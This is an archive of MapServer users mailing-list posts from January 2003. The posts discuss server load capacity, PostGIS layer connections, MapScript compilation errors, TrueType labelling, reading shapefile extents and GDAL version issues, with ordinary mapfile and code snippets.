Steve - You're asking an extremely complicated question. If you want the real answer, you'll need to do some stress/load testing with examples of the actual data set you're dealing with. The organization and structure of your data sets have a MAJOR impact on MapServer performance, so it's impossible to answer the question without knowing a lot about the application. Here are some things to think about. I'm not trying to be difficult, but your question is basically unanswerable without a lot more research and/or testing. You can break these into two categories - factors which affect the response time for a single map request, and factors which affect the response time for multiple simultaneous map requests. Single Map Request ====== === ======= How large are your data sets? If the data is such that it's mostly or entirely cached in RAM, that's very good. How many layers do you use? Are the vector layers indexed (shptree)? If you're using raster layers, are they sampled appropriately? Will users zoom in and out on your data or will they mostly be scrolling around at one zoom scale? Have you carefully set minscale and maxscale settings so you're not drawing too much data? Simultaneous Requests ============ ======== What is MapServer's working set to create a single map (this will depend on how it's built and on your data)? The more memory a single MapServer instance requires, the fewer simultaneous users you can support before you start swapping. Are you running on a single IDE drive? If so, you're going to get into trouble quickly, and if you start swapping you're doomed. Is this a dedicated machine running only MapServer and associated HTML pages? Is this application on a system we can look at? If so, you'll probably get better input and comments. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 ed at topozone.com (978) 251-4242 -----Original Message----- From: Steve Young [mailto:steve at sierraclubbc.org] Sent: Tuesday, January 28, 2003 2:08 PM To: Mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Hosting mapserver Hi, I'm planning to launch a new mapserver site in a couple of weeks. I have it running on RH 7.2, Apache 1.3x Mapserver 3.6. The box is a Duron 950 with 256Mb RAM and 7200rpm ide drive. When it's just me on the site most images pop up in less than a second. I'd like to give the client some idea how many simultaneous users the site can comfortably support. Does anyone have a similar set up running? TIA, Steve _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From bwragg at tpg.com.au Tue Jan 28 15:30:09 2003 From: bwragg at tpg.com.au (Benjamin Wragg) Date: Wed, 29 Jan 2003 10:00:09 +1030 Subject: [Mapserver-users] Problem Selecting a Feature Message-ID: <000001c2c725$333fece0$0100a8c0@mapping12> This is a multi-part message in MIME format. ------=_NextPart_000_0001_01C2C77D.35CE30E0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Hi all, I have the following layer defined in my map file: LAYER CONNECTIONTYPE postgis NAME "testpoints" CONNECTION "user=user password=password dbname=dbname host=localhost" DATA "the_geom from testpoints" STATUS ON TYPE POINT CLASS NAME "All Points" COLOR 0 0 0 SIZE 10 SYMBOL 2 END END If I run the following code: $layer=$map->getlayerbyname("aLayer"); $class=ms_newClassObj($layer); $class->set("name", "Selected Feature"); $class->setexpression('gid='.$featureGID); $colorId=$map->addColor(255,0,0); $class->set("color", $colorId); $class->set("size", 20); $class->set("symbol", 2); $layer->set("status", MS_ON); $image=$map->draw(); $imageURL=$image->saveWebImage(MS_PNG,1,1,0); I also generate a legend and replace the images in the browser with the newly generated images. The problem is that I can't see the feature on the map, but a new class shows up on the legend. What am I missing? Thanks, Benjamin ------=_NextPart_000_0001_01C2C77D.35CE30E0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

Hi all,

 

I have the following layer defined in my map = file:

 

LAYER

  CONNECTIONTYPE = postgis

  NAME = "testpoints"

  CONNECTION = "user=3Duser password=3Dpassword dbname=3Ddbname = host=3Dlocalhost"

  DATA "the_geom = from testpoints"

  STATUS = ON

  TYPE = POINT

 

  = CLASS

    NAME = "All Points"

    COLOR 0 = 0 0

    SIZE = 10

    SYMBOL = 2

  END   =

END

 

If I run the following code:

 

         =    = $layer=3D$map->getlayerbyname(“aLayer”);

=

$class=3Dms_newClassObj($lay= er);

$class->set("name&qu= ot;, "Selected Feature");

         =    = $class->setexpression('gid=3D'.$featureGID);

         =    $colorId=3D$map->addColor(255,0,0);

         =    $class->set("color", $colorId);

         =    $class->set("size", 20);

         =    $class->set("symbol", 2);

         =    $layer->set("status", MS_ON);

    &nbs= p;       = $image=3D$map->draw();

         =    = $imageURL=3D$image->saveWebImage(MS_PNG,1,1,0);

 

I also generate a legend and replace the images in = the browser with the newly generated images. The problem is that I = can’t see the feature on the map, but a new class shows up on the legend. What am = I missing?

 

Thanks,

 

Benjamin

------=_NextPart_000_0001_01C2C77D.35CE30E0-- From morissette at dmsolutions.ca Tue Jan 28 18:32:06 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Tue, 28 Jan 2003 21:32:06 -0500 Subject: [Mapserver-users] Help References: <002e01c2c6dc$7435c1a0$cb75e7c8@afxtd2002311172> Message-ID: <3E373D26.C06C2A46@dmsolutions.ca> > I am with the following problem, I am opening to layer of street in the Mapinfo(tab) format, and determined level of zoom the > processing of the PC goes the 100%, as can prevent this problem? Are you using a recent build of MapServer and GDAL? There was an infinite loop problem in the TAB driver in OGR that was fixed a few months ago (last fall I think). This may well be what you are running into. I would suggest that you upgrade to a build based on the latest GDAL 1.1.8 Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From Antti.Roppola at brs.gov.au Tue Jan 28 20:43:32 2003 From: Antti.Roppola at brs.gov.au (Antti.Roppola at brs.gov.au) Date: Wed, 29 Jan 2003 15:43:32 +1100 Subject: [Mapserver-users] PHP/mapscript - Inserting vector maps into PDF documents Message-ID: <3E4215C93D3CE24D84A9FF385DF88D87144875@afeb-ms-02> Hi all, Around this time last year, there was some discussion on the Mapserver list about how you'd go about including Mapserver elements in arbitrary places on a PDF being created in PHP/Mapscript. http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/msg00240.html http://mapserver.gis.umn.edu/data2/wilma/mapserver-users/0202/msg00239.html I've just spent quite a while browsing the mappdf source and there's a DrawMapPDF() function that skips the creation of a new PDF object if an existing one is given as an argument, but I can't find a hook into it through PHP/Mapscript. Nor can I see anything in this function that would allow me to control the placement of the map in my pdf object. I guess I'd really like an outputformat that returns PDF instructions rather than a whole document, this way I could use pdf_translate() and pdf_scale() to do the placement myself: $map->selectOuputFormat("pdf_instructions"); // as opposed to a complete PDF doc $pdf_instructions=$map->draw(); place($my_pdf, $pdf_instructions, $pos_xmin, $pos_ymin, $pos_xmax, $pos_ymax, $angle); function place ($my_pdf, $pdf_elements, $pos_ymin, $pos_xmax, $pos_ymax, $angle) { pdf_save($my_pdf); // save default state if($angle) { pdf_rotate($my_pdf, $angle) } pdf_translate($my_pdf, $pos_xmin, $pos_ymin); ... // stuff happens to calc scaling pdf_scale($my_pdf, $pos_dx, $pos_dy ); include $pdf_elements; // you get the idea... pdf_restore($my_pdf); // restore default state } Has anyone got any insights on where things are at? Cheers, Antti N.B. I do have all the other PDF functionality such as 3.7 outputformat working, I just want to be able to write my map objects into an existing PDF as vectors. From keon at nacse.org Tue Jan 28 22:47:10 2003 From: keon at nacse.org (Dylan Keon) Date: Tue, 28 Jan 2003 22:47:10 -0800 Subject: [Mapserver-users] error compiling --with-pdf Message-ID: <3E3778EE.3060306@nacse.org> I'm getting the "/usr/bin/ld: cannot find -lPDF" error when trying to compile 3.7 CVS --with-pdf=/opt/apps. libpdf.a and libpdf.so are under /opt/apps/lib, and /opt/apps/lib is already listed in /etc/ld.so.conf. And ldconfig has been run. I edited the Makefile and replaced -lPDF with -lpdf. That didn't make a difference. So I also made PDF_OBJ= mappdf.o instead of leaving it unassigned. But that didn't help, either. I also tried compiling with just --with-pdf. What am I missing? Thanks. From schut at sarvision.com Wed Jan 29 00:54:37 2003 From: schut at sarvision.com (Vincent Schut) Date: Wed, 29 Jan 2003 09:54:37 +0100 Subject: [Mapserver-users] Smoothing NEXRAD imagery In-Reply-To: <60E560EE-32E3-11D7-ACC9-000393B98B56@frii.com> References: <60E560EE-32E3-11D7-ACC9-000393B98B56@frii.com> Message-ID: <200301290954.37263.schut@sarvision.com> ... > > Does anyone know how to implement an automatic TIFF smoothing > > algorithm at > > close ranges? ... If you're working on a linux box (don't know, might even be available & possible in windows) you could use imagemagick's "convert" program to smooth your image. You could call if from php after saving the tmp map image to e.g. blur it (assuming you are using php/mapsscript). Other options than blur are available, see 'man convert'. It's quite a powerfull program. just my 2 cents. Vincent Schut. From alessandro.ceccotti at netxcalibur.com Wed Jan 29 01:42:52 2003 From: alessandro.ceccotti at netxcalibur.com (Alessandro Ceccotti) Date: Wed, 29 Jan 2003 10:42:52 +0100 Subject: [Mapserver-users] (no subject) Message-ID: I've to insert the correct extent value in my mapfile. I use .shp maps. Where can I read the shp's extent? Is there any working tool to do so? If anyone can help me he'll be welcome!! Thanks a lot Alessandro Ceccotti From alessandro.ceccotti at netxcalibur.com Wed Jan 29 01:44:45 2003 From: alessandro.ceccotti at netxcalibur.com (Alessandro Ceccotti) Date: Wed, 29 Jan 2003 10:44:45 +0100 Subject: [Mapserver-users] Extent problems Message-ID: <000d01c2c77b$0e9a8e30$0101a8c0@CPQ60241426414> I've to insert the correct extent value in my mapfile. I use .shp maps. Where can I read the shp's extent? Is there any working tool to do so? If anyone can help me he'll be welcome!! Thanks a lot Alessandro Ceccotti From bplatzen at sosnetz.de Wed Jan 29 02:03:58 2003 From: bplatzen at sosnetz.de (=?iso-8859-1?q?Bj=F6rn=20Platzen?=) Date: Wed, 29 Jan 2003 11:03:58 +0100 Subject: [Mapserver-users] Extent problems In-Reply-To: <000d01c2c77b$0e9a8e30$0101a8c0@CPQ60241426414> References: <000d01c2c77b$0e9a8e30$0101a8c0@CPQ60241426414> Message-ID: <200301291103.58402.bplatzen@sosnetz.de> Hello Alessandro , > I've to insert the correct extent value in my mapfile. I use .shp maps. > Where can I read the shp's extent? Is there any working tool to do so? > If anyone can help me he'll be welcome!! I am using a tool called Geographic Explorer QuickView made by BlueMarbleGeographics. I think this should be freeware (at least shareware). It runs under Win. After installing you can right-click on a shapefile in the windows-explorer and choose 'Open with Geographic Explorer QuickView'. You can gat it at http://www.bluemarblegeo.com hth, Bjoern -- small office solutions info at sosnetz.de - http://www.sosnetz.de From mschulz at webgis.de Wed Jan 29 05:42:40 2003 From: mschulz at webgis.de (Michael Schulz) Date: Wed, 29 Jan 2003 14:42:40 +0100 Subject: [Mapserver-users] python mapscript install 3.7 Message-ID: <3E37DA50.8C7DF7F3@webgis.de> Hi, i have a problem when trying to compile mapserver 3.7 / mapscript for python (from the nightly.tar.gz). With the newly included setup.py everything works very smooth, mapserver has compiled fine, mapscript compilation with some warnings, but when i try to import mapscript in python i get this error: Python 2.1.2 (#11, Jul 11 2002, 15:03:40) >>> import mapscript Traceback (most recent call last): File "", line 1, in ? File "/usr/local/lib/python2.1/site-packages/mapscript.py", line 4, in ? import _mapscript ImportError: undefined symbol: msAddColor Hmm, is this related to the change from mapObj.addColor() to setRGB()? Thanks, Michael -- ----------------------------------------------------------- Michael Schulz in medias res Dipl.-Geologe Gesellschaft f?r Informationstechnologie mbH Sautierstr. 38, 79104 Freiburg 0761 55695-95 (Fax 96) mschulz at webgis.de www.webgis.de From dlowther at ou.edu Wed Jan 29 08:39:30 2003 From: dlowther at ou.edu (Lowther, David W) Date: Wed, 29 Jan 2003 10:39:30 -0600 Subject: [Mapserver-users] Labels / Fonts in 3.7 Message-ID: This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C2C7B4.FF2BDAA0 Content-Type: text/plain Howdy List, I've updgraded to the most recent development version and am working through the changes from 3.6.x to 3.7. The WIKI entry is really helpful and resolved most of my issues. I am having trouble with labelling with truetype fonts. Maybe there are some changes to the way this works in 3.7? If I change this layer by commenting out TYPE TRUETYPE, FONT, and change SIZE to TINY everything works great. Any help is appreciated. LAYER #Precincts Anno NAME pct_anno GROUP "Administrative Boundaries" DATA pc STATUS OFF TYPE ANNOTATION PROJECTION #GEOGRAPHIC NAD83 proj=longlat ellps=GRS80 no_defs END LABELITEM "pct_num" CLASS MAXSCALE 250000 STYLE COLOR -1 -1 -1 END LABEL TYPE TRUETYPE COLOR 255 0 0 SIZE 12 FONT ARIAL-BI POSITION cc PARTIALS FALSE BUFFER 0 END END METADATA "wms_title" "Precinct Labels" legend_order "25" legend_name "Precinct Labels" END END David Lowther Software Engineer GEO Information Systems University of Oklahoma dlowther at ou.edu (405) 325-3131 http://www.geo.ou.edu ------_=_NextPart_001_01C2C7B4.FF2BDAA0 Content-Type: text/html Content-Transfer-Encoding: quoted-printable Labels / Fonts in 3.7

Howdy List,

I've updgraded to the most recent = development version and am working through the changes from 3.6.x to = 3.7. The WIKI entry is really helpful and resolved most of my issues. =

I am having trouble with labelling = with truetype fonts. Maybe there are some changes to the way this works = in 3.7? If I change this layer by commenting out TYPE TRUETYPE, FONT, = and change SIZE to TINY everything works great. Any help is = appreciated.

LAYER #Precincts Anno
        NAME pct_anno
        GROUP "Administrative Boundaries"
        DATA pc
        STATUS OFF
        TYPE ANNOTATION
        PROJECTION #GEOGRAPHIC NAD83
        =         proj=3Dlonglat
        =         ellps=3DGRS80
        =         no_defs
        END

        LABELITEM "pct_num"
        CLASS
        =         MAXSCALE 250000
        =         STYLE
        =         =         COLOR -1 -1 -1
        =         END
        =         LABEL
        =         =         TYPE TRUETYPE
        =         =         COLOR 255 0 0
        =         =         SIZE 12
        =         =         FONT ARIAL-BI
                POSITION cc
                PARTIALS = FALSE
                BUFFER 0
            END
        END
        METADATA
        =         "wms_title" "Precinct Labels"
        =         legend_order "25"
        =         legend_name "Precinct Labels"
        END
END

David Lowther
Software Engineer
GEO Information Systems
University of Oklahoma
dlowther at ou.edu
(405) 325-3131
http://www.geo.ou.edu



------_=_NextPart_001_01C2C7B4.FF2BDAA0-- From christian.schuster at rsag.ch Wed Jan 29 08:50:07 2003 From: christian.schuster at rsag.ch (christian.schuster at rsag.ch) Date: Wed, 29 Jan 2003 17:50:07 +0100 Subject: [Mapserver-users] Error Parsing POSTGIS connection information Message-ID: This is a multipart message in MIME format. --=_alternative 005C7B54C1256CBD_= Content-Type: text/plain; charset="US-ASCII" Hi list, I am a newbie an struggeling with getting GIS data from the database. I get the following error in the browser msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection information. This is my layer definition: LAYER CONNECTIONTYPE postgis NAME "points" ### Connect to a remote spatial database CONNECTION "user=*** dbname=myGISdb host=127.0.0.1" ### Get the points from the 'col1' column of the 't1' table DATA "col1 from t1" STATUS ON TYPE POINT CLASS COLOR 255 0 0 END END ### end of layer definitions Any help is welcome. Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 --=_alternative 005C7B54C1256CBD_= Content-Type: text/html; charset="US-ASCII"
Hi list,

I am a newbie an struggeling with getting GIS data from the database. I get the following error in the browser

msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection information.

This is my layer definition:

LAYER
  CONNECTIONTYPE postgis
  NAME "points"

  ### Connect to a remote spatial database
  CONNECTION "user=*** dbname=myGISdb host=127.0.0.1"

  ### Get the points from the 'col1' column of the 't1' table
  DATA "col1 from t1"
  STATUS ON
  TYPE POINT

  CLASS
    COLOR 255 0 0      
  END
END
### end of layer definitions

Any help is welcome.

Christian Schuster

Rudolf Schuster AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31 348 05 30
--=_alternative 005C7B54C1256CBD_=-- From coronadh at coronasolutions.com Wed Jan 29 08:50:46 2003 From: coronadh at coronasolutions.com (Dan Harris) Date: Wed, 29 Jan 2003 09:50:46 -0700 Subject: [Mapserver-users] Extent problems In-Reply-To: <000d01c2c77b$0e9a8e30$0101a8c0@CPQ60241426414> References: <000d01c2c77b$0e9a8e30$0101a8c0@CPQ60241426414> Message-ID: <3E380666.2040505@coronasolutions.com> I use a free utility called shpdump. You didn't mention your platform, this is a *nix tool.. -Dan Alessandro Ceccotti wrote: > I've to insert the correct extent value in my mapfile. I use .shp maps. > Where can I read the shp's extent? Is there any working tool to do so? > If anyone can help me he'll be welcome!! > Thanks a lot > > > Alessandro Ceccotti > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From christian.schuster at rsag.ch Wed Jan 29 09:08:27 2003 From: christian.schuster at rsag.ch (christian.schuster at rsag.ch) Date: Wed, 29 Jan 2003 18:08:27 +0100 Subject: [Mapserver-users] Error Parsing POSTGIS connection informatio n In-Reply-To: Message-ID: This is a multipart message in MIME format. --=_alternative 005E28C8C1256CBD_= Content-Type: text/plain; charset="US-ASCII" I tried now both connection settings ### Connect to a remote spatial database CONNECTION "user=*** password=**** dbname=myGISdb host=localhost port=5432" ### Connect to a remote spatial database CONNECTION "user=*** password=**** dbname=myGISdb host=127.0.01 port=5432" With the same error message. I am also not a Unix (Cygwin) expert. So, I am not absolutly sure if the PostgreSQL server is running right. Is there a possibility to check this? Well, if I type in ps at the shell I get three processes for PostgreSQL. "Swaminathan, Gayathri" 29.01.2003 17:58 To "'christian.schuster at rsag.ch'" cc Subject RE: [Mapserver-users] Error Parsing POSTGIS connection informatio n Try doing this instead...Hope that works for you LAYER CONNECTIONTYPE postgis NAME "points" ### Connect to a remote spatial database CONNECTION "user=*** password=**** dbname=myGISdb host=localhost port=5432" Gayathri Swaminathan Geo Information Systems University Of Oklahoma (405) 325 3131 x 237 (405) 904 4673 visit us @ http://geo.ou.edu ------------------------------------------------------ Work like you don't need money,love like you've never been hurt and, dance like no one's watching. ~Anon -----Original Message----- From: christian.schuster at rsag.ch [mailto:christian.schuster at rsag.ch] Sent: Wednesday, January 29, 2003 8:50 AM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] Error Parsing POSTGIS connection information Hi list, I am a newbie an struggeling with getting GIS data from the database. I get the following error in the browser msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection information. This is my layer definition: LAYER CONNECTIONTYPE postgis NAME "points" ### Connect to a remote spatial database CONNECTION "user=*** dbname=myGISdb host=127.0.0.1" ### Get the points from the 'col1' column of the 't1' table DATA "col1 from t1" STATUS ON TYPE POINT CLASS COLOR 255 0 0 END END ### end of layer definitions Any help is welcome. Christian Schuster Rudolf Schuster AG Postfach 277 CH - 3000 Bern 11 http://www.rsag.ch ++41 31 348 05 30 --=_alternative 005E28C8C1256CBD_= Content-Type: text/html; charset="US-ASCII"
I tried now both connection settings

### Connect to a remote spatial database
CONNECTION "user=*** password=**** dbname=myGISdb host=localhost  port=5432" 

### Connect to a remote spatial database
CONNECTION "user=*** password=**** dbname=myGISdb host=127.0.01  port=5432" 

With the same error message.

I am also not a Unix (Cygwin) expert. So, I am not absolutly sure if the PostgreSQL server is running right. Is there a possibility to check this?
Well, if I type in ps at the shell I get three processes for PostgreSQL.




"Swaminathan, Gayathri" <gayathri at ou.edu>

29.01.2003 17:58

To
"'christian.schuster at rsag.ch'" <christian.schuster at rsag.ch>
cc
Subject
RE: [Mapserver-users] Error Parsing POSTGIS connection informatio        n






Try  doing this instead...Hope that works for you
 
LAYER  
  CONNECTIONTYPE postgis
  NAME "points"  

  ### Connect to a remote spatial database
   CONNECTION "user=*** password=**** dbname=myGISdb host=localhost  port=5432" 



Gayathri Swaminathan
Geo Information Systems
University Of  Oklahoma
(405) 325 3131 x 237
(405) 904 4673
visit us @ http://geo.ou.edu
------------------------------------------------------  
Work like you don't need money,love like
you've never been hurt and, dance like
no one's watching.
~Anon  

 

-----Original Message-----
From: christian.schuster at rsag.ch  [mailto:christian.schuster at rsag.ch]
Sent: Wednesday, January 29, 2003  8:50 AM
To: mapserver-users at lists.gis.umn.edu
Subject:  [Mapserver-users] Error Parsing POSTGIS connection  information


Hi list,

I am a  newbie an struggeling with getting GIS data from the database. I get the  following error in the browser

msPOSTGISLayerOpen(): Query error. Error parsing POSTGIS connection  information.

This is my layer  definition:

LAYER
  CONNECTIONTYPE postgis
   NAME "points"

  ### Connect to a  remote spatial database
  CONNECTION  "user=*** dbname=myGISdb host=127.0.0.1"

  ### Get the points from the 'col1' column of the 't1'  table
  DATA "col1 from t1"  
  STATUS ON
   TYPE POINT

  CLASS  
    COLOR 255 0 0       
  END
END
### end of layer  definitions

Any help is welcome.  

Christian Schuster

Rudolf Schuster  AG
Postfach 277
CH - 3000 Bern 11

http://www.rsag.ch
++41 31  348 05 30
--=_alternative 005E28C8C1256CBD_=-- From ed at topozone.com Wed Jan 29 09:19:45 2003 From: ed at topozone.com (Ed McNierney) Date: Wed, 29 Jan 2003 12:19:45 -0500 Subject: [Mapserver-users] Extent problems Message-ID: <13858AA1A74F30419F319ACB66A9D1220195B4@mercator.topozone.com> Shpdump is included in the GDAL distribution, and will run/build on any GDAL platform, not just Unix. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 Phone: (978) 251-4242 Fax: (978) 251-1396 ed at topozone.com -----Original Message----- From: Dan Harris [mailto:coronadh at coronasolutions.com] Sent: Wednesday, January 29, 2003 11:51 AM To: Alessandro Ceccotti Cc: Mapserver-Users Subject: Re: [Mapserver-users] Extent problems I use a free utility called shpdump. You didn't mention your platform, this is a *nix tool.. -Dan Alessandro Ceccotti wrote: > I've to insert the correct extent value in my mapfile. I use .shp maps. > Where can I read the shp's extent? Is there any working tool to do so? > If anyone can help me he'll be welcome!! > Thanks a lot > > > Alessandro Ceccotti > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rjames57 at yahoo.com Wed Jan 29 09:34:01 2003 From: rjames57 at yahoo.com (randy james) Date: Wed, 29 Jan 2003 09:34:01 -0800 (PST) Subject: [Mapserver-users] nightly.tar.gz Message-ID: <20030129173401.82105.qmail@web12507.mail.yahoo.com> Hi I have been trying to compile 3.7 or at least i think its 3.7 its the nightly.tar.gz from Jan 29 2003, and i am getting the following error. I am not sure if this is the right list? Anyway i get the error ./libmap.a(mapdrawgdal.o): In function 'msDrawRasterLayerGDAL': mapdrawgdal.o(.text+0x15dd): undifined reference to 'CSLFetchBooean' When i scroll back i see this: mapdrawgdal.c: In function 'msDrawRasterLayerGDAL': mapdrawgdal.c: 628: warning: iplicit declaration of function 'CLSFetchBoolean' So i checked line 628 but i do not have enough programming experience. the line is: if( !truecolor && CSLFetchBoolean( layer->processing, "DITHER", FALSE ) ) Cheers Randy __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From ed at topozone.com Wed Jan 29 09:39:06 2003 From: ed at topozone.com (Ed McNierney) Date: Wed, 29 Jan 2003 12:39:06 -0500 Subject: [Mapserver-users] nightly.tar.gz Message-ID: <13858AA1A74F30419F319ACB66A9D1221F3C08@mercator.topozone.com> Randy - As I recall, this was an enhancement added to the GDAL code after 1.1.7 and before 1.1.8. It sounds like you're building with a version of GDAL older than 1.1.8. You can download and rebuild with GDAL 1.1.8 and the problem should go away. - Ed Ed McNierney President and Chief Mapmaker TopoZone.com / Maps a la carte, Inc. 73 Princeton Street, Suite 305 North Chelmsford, MA 01863 Phone: (978) 251-4242 Fax: (978) 251-1396 ed at topozone.com -----Original Message----- From: randy james [mailto:rjames57 at yahoo.com] Sent: Wednesday, January 29, 2003 12:34 PM To: warmerdam at pobox.com; Mapserver Users Subject: [Mapserver-users] nightly.tar.gz Hi I have been trying to compile 3.7 or at least i think its 3.7 its the nightly.tar.gz from Jan 29 2003, and i am getting the following error. I am not sure if this is the right list? Anyway i get the error ./libmap.a(mapdrawgdal.o): In function 'msDrawRasterLayerGDAL': mapdrawgdal.o(.text+0x15dd): undifined reference to 'CSLFetchBooean' When i scroll back i see this: mapdrawgdal.c: In function 'msDrawRasterLayerGDAL': mapdrawgdal.c: 628: warning: iplicit declaration of function 'CLSFetchBoolean' So i checked line 628 but i do not have enough programming experience. the line is: if( !truecolor && CSLFetchBoolean( layer->processing, "DITHER", FALSE ) ) Cheers Randy __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From jpmclaro at yahoo.com.br Wed Jan 29 09:54:55 2003 From: jpmclaro at yahoo.com.br (=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=) Date: Wed, 29 Jan 2003 15:54:55 -0200 Subject: [Mapserver-users] Parameter Message-ID: <002301c2c7bf$89520510$cb75e7c8@afxtd2002311172> This is a multi-part message in MIME format. ------=_NextPart_000_0020_01C2C7AE.C46CD960 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Good afternoon All, I am with the following doubt: When I am passing the parametros for = mapserv saw URL, I am obliged to pass to layer them that I want to see = in the image, or it takes care of to status ON of my archive map? Jo=E3o Paulo ------=_NextPart_000_0020_01C2C7AE.C46CD960 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Good afternoon  All, I am with the following doubt: When I am passing the = parametros for mapserv saw URL, I am obliged to pass to layer them that = I want=20 to see in the image, or it takes care of to status ON of my archive = map? Jo=E3o = Paulo ------=_NextPart_000_0020_01C2C7AE.C46CD960-- _______________________________________________________________________ Busca Yahoo! O servi?o de busca mais completo da Internet. O que voc? pensar o Yahoo! encontra. http://br.busca.yahoo.com/ From Norman Wed Jan 29 10:01:04 2003 From: Norman (Norman) Date: Wed, 29 Jan 2003 13:01:04 -0500 Subject: [Mapserver-users] python mapscript install 3.7 References: <3E37DA50.8C7DF7F3@webgis.de> Message-ID: <012d01c2c7c0$801938a0$2f36ba8c@sfdev3> Michael Schulz writes: > > i have a problem when trying to compile mapserver 3.7 / mapscript for > python (from the nightly.tar.gz). With the newly included setup.py > everything works very smooth, mapserver has compiled fine, mapscript > compilation with some warnings, but when i try to import mapscript in > python i get this error: > > Python 2.1.2 (#11, Jul 11 2002, 15:03:40) > >>> import mapscript > Traceback (most recent call last): > File "", line 1, in ? > File "/usr/local/lib/python2.1/site-packages/mapscript.py", line 4, in > ? > import _mapscript > ImportError: undefined symbol: msAddColor > > Hmm, is this related to the change from mapObj.addColor() to setRGB()? FYI I have to make the following changes to mapscript.i inorder to get a working Python mapscript from the CVS sources I have needed to do this for a while Below I believe int contrain(rectObj *bounds, double overlay) { return msConstrainRect(bounds,self, overlay); } should be int contsrain(rectObj *bounds, double overlay) { return msConstrainExtent(bounds,self, overlay); } Not sure about the others Norman $ cvs diff -cw mapscript.i Index: mapscript.i =================================================================== RCS file: /data2/cvsroot/mapserver/mapscript/mapscript.i,v retrieving revision 1.90 diff -c -w -r1.90 mapscript.i *** mapscript.i 27 Jan 2003 22:38:42 -0000 1.90 --- mapscript.i 29 Jan 2003 17:46:27 -0000 *************** *** 102,110 **** return NULL; } ! int addColor(int r, int g, int b) { ! return msAddColor(self, r, g, b); ! } int getSymbolByName(char *name) { return msGetSymbolIndex(&self->symbolset, name); --- 102,110 ---- return NULL; } ! // int addColor(int r, int g, int b) { ! // return msAddColor(self, r, g, b); ! // } int getSymbolByName(char *name) { return msGetSymbolIndex(&self->symbolset, name); *************** *** 136,146 **** } ! if (MS_DRIVER_GD(self->outputformat)) ! { ! if(msLoadPalette(image->img.gd, &(self->palette), self->imagecolor) == -1) ! return NULL; ! } self->cellsize = msAdjustExtent(&(self->extent), self->width, self->height); status = msCalculateScale(self->extent, self->units, self->width, self->height, self->resolution, &self->scale); if(status != MS_SUCCESS) return NULL; --- 136,146 ---- } ! // if (MS_DRIVER_GD(self->outputformat)) ! // { ! // if(msLoadPalette(image->img.gd, &(self->palette), self->imagecolor) == -1) ! // return NULL; ! // } self->cellsize = msAdjustExtent(&(self->extent), self->width, self->height); status = msCalculateScale(self->extent, self->units, self->width, self->height, self->resolution, &self->scale); if(status != MS_SUCCESS) return NULL; *************** *** 754,762 **** return msAdjustExtent(self, width, height); } ! int contrain(rectObj *bounds, double overlay) { ! return msConstrainRect(bounds,self, overlay); ! } int draw(mapObj *map, layerObj *layer, imageObj *image, int classindex, char *text) { shapeObj shape; --- 754,762 ---- return msAdjustExtent(self, width, height); } ! // int contrain(rectObj *bounds, double overlay) { ! // return msConstrainRect(bounds,self, overlay); ! // } int draw(mapObj *map, layerObj *layer, imageObj *image, int classindex, char *text) { shapeObj shape; From jpmclaro at yahoo.com.br Wed Jan 29 10:00:49 2003 From: jpmclaro at yahoo.com.br (=?iso-8859-1?Q?Jo=E3o_Paulo_M._Claro?=) Date: Wed, 29 Jan 2003 16:00:49 -0200 Subject: [Mapserver-users] GPS Message-ID: <003c01c2c7c0$65bd53b0$cb75e7c8@afxtd2002311172> This is a multi-part message in MIME format. ------=_NextPart_000_0037_01C2C7AF.97A23730 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Friends, I am developing an application, that from a position GPS, I must insert = a point in the map and visualize the image of my cartographic base with = this signaled point. Somebody could give a suggestion to me of as to = make this?=20 Thanks Jo=E3o Paulo ------=_NextPart_000_0037_01C2C7AF.97A23730 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Friends,
I=20 am developing an application, that from a position GPS, I must insert a = point in=20 the map and visualize the image of my cartographic base with this = signaled=20 point. Somebody could give a suggestion to me of as to make this? Thanks
Jo=E3o Paulo
